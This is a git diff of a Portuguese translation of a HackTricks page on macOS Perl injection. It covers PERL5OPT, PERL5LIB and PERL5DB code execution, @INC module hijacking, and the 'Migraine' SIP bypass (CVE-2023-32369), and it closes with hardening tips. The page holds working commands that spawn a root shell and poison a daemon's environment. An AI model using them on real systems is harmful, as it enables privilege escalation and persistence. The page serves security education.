Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-07-30 16:14:54 +00:00
parent 2274366530
commit 5ac3ab720d

View File

@ -1,10 +1,10 @@
# Injeção de Aplicações Perl no macOS
# macOS Perl Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
## Via variável de ambiente `PERL5OPT` & `PERL5LIB`
## Via `PERL5OPT` & `PERL5LIB` env variable
Usando a variável de ambiente PERL5OPT, é possível fazer o perl executar comandos arbitrários.\
Usando a variável de ambiente **`PERL5OPT`** é possível fazer com que **Perl** execute comandos arbitrários quando o interpretador inicia (mesmo **antes** da primeira linha do script alvo ser analisada).
Por exemplo, crie este script:
```perl:test.pl
#!/usr/bin/perl
@ -22,17 +22,30 @@ package pmod;
system('whoami');
1; # Modules must return a true value
```
E então use as variáveis de ambiente:
E então use as variáveis de ambiente para que o módulo seja localizado e carregado automaticamente:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
```
## Via dependencies
### Outras variáveis de ambiente interessantes
É possível listar a ordem da pasta de dependências do Perl em execução:
* **`PERL5DB`** quando o interpretador é iniciado com a flag **`-d`** (debugger), o conteúdo de `PERL5DB` é executado como código Perl *dentro* do contexto do debugger. Se você puder influenciar tanto o ambiente **quanto** as flags da linha de comando de um processo Perl privilegiado, você pode fazer algo como:
```bash
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # irá abrir um shell antes de executar o script
```
* **`PERL5SHELL`** no Windows, essa variável controla qual executável de shell o Perl usará quando precisar criar um shell. Ela é mencionada aqui apenas para completude, pois não é relevante no macOS.
Embora `PERL5DB` exija a switch `-d`, é comum encontrar scripts de manutenção ou instaladores que são executados como *root* com essa flag ativada para solução de problemas detalhada, tornando a variável um vetor de escalonamento válido.
## Via dependências (@INC abuse)
É possível listar o caminho de inclusão que o Perl irá buscar (**`@INC`**) executando:
```bash
perl -e 'print join("\n", @INC)'
```
O que retornará algo como:
A saída típica no macOS 13/14 parece com:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
@ -44,17 +57,43 @@ O que retornará algo como:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Algumas das pastas retornadas nem existem, no entanto, **`/Library/Perl/5.30`** **existe**, **não** é **protegida** pelo **SIP** e está **antes** das pastas **protegidas pelo SIP**. Portanto, alguém poderia abusar dessa pasta para adicionar dependências de script lá, para que um script Perl de alto privilégio o carregue.
Algumas das pastas retornadas nem existem, no entanto **`/Library/Perl/5.30`** existe, *não* é protegida pelo SIP e está *antes* das pastas protegidas pelo SIP. Portanto, se você puder escrever como *root*, pode colocar um módulo malicioso (por exemplo, `File/Basename.pm`) que será *preferencialmente* carregado por qualquer script privilegiado que importe esse módulo.
> [!WARNING]
> No entanto, note que você **precisa ser root para escrever nessa pasta** e atualmente você receberá este **prompt TCC**:
> Você ainda precisa de **root** para escrever dentro de `/Library/Perl` e o macOS mostrará um prompt **TCC** pedindo *Acesso Completo ao Disco* para o processo que realiza a operação de escrita.
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
Por exemplo, se um script estiver importando **`use File::Basename;`**, seria possível criar `/Library/Perl/5.30/File/Basename.pm` contendo código controlado pelo atacante.
Por exemplo, se um script estiver importando **`use File::Basename;`**, seria possível criar `/Library/Perl/5.30/File/Basename.pm` para fazer com que ele execute código arbitrário.
## Bypass do SIP via Assistente de Migração (CVE-2023-32369 “Migraine”)
Em maio de 2023, a Microsoft divulgou **CVE-2023-32369**, apelidada de **Migraine**, uma técnica de pós-exploração que permite a um atacante *root* **burlar completamente a Proteção de Integridade do Sistema (SIP)**. O componente vulnerável é **`systemmigrationd`**, um daemon intitulado com **`com.apple.rootless.install.heritable`**. Qualquer processo filho gerado por esse daemon herda a concessão e, portanto, é executado **fora** das restrições do SIP.
Entre os filhos identificados pelos pesquisadores está o interpretador assinado pela Apple:
```
/usr/bin/perl /usr/libexec/migrateLocalKDC …
```
Porque o Perl respeita `PERL5OPT` (e o Bash respeita `BASH_ENV`), envenenar o *ambiente* do daemon é suficiente para obter execução arbitrária em um contexto sem SIP:
```bash
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
```
Quando `migrateLocalKDC` é executado, `/usr/bin/perl` inicia com o malicioso `PERL5OPT` e executa `/private/tmp/migraine.sh` *antes que o SIP seja reabilitado*. A partir desse script, você pode, por exemplo, copiar um payload dentro de **`/System/Library/LaunchDaemons`** ou atribuir o atributo estendido `com.apple.rootless` para tornar um arquivo **indeletável**.
A Apple corrigiu o problema no macOS **Ventura 13.4**, **Monterey 12.6.6** e **Big Sur 11.7.7**, mas sistemas mais antigos ou não corrigidos permanecem exploráveis.
## Recomendações de hardening
1. **Limpar variáveis perigosas** launchdaemons ou cron jobs privilegiados devem iniciar com um ambiente limpo (`launchctl unsetenv PERL5OPT`, `env -i`, etc.).
2. **Evitar executar interpretadores como root** a menos que estritamente necessário. Use binários compilados ou reduza privilégios cedo.
3. **Scripts de fornecedor com `-T` (modo de contaminação)** para que o Perl ignore `PERL5OPT` e outras opções inseguras quando a verificação de contaminação estiver habilitada.
4. **Mantenha o macOS atualizado** “Migraine” está totalmente corrigido nas versões atuais.
## Referências
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
- Microsoft Security Blog “Nova vulnerabilidade do macOS, Migraine, pode contornar a Proteção de Integridade do Sistema” (CVE-2023-32369), 30 de maio de 2023.
- Hackyboiz “Pesquisa sobre Bypass do SIP do macOS (PERL5OPT & BASH_ENV)”, maio de 2025.
{{#include ../../../banners/hacktricks-training.md}}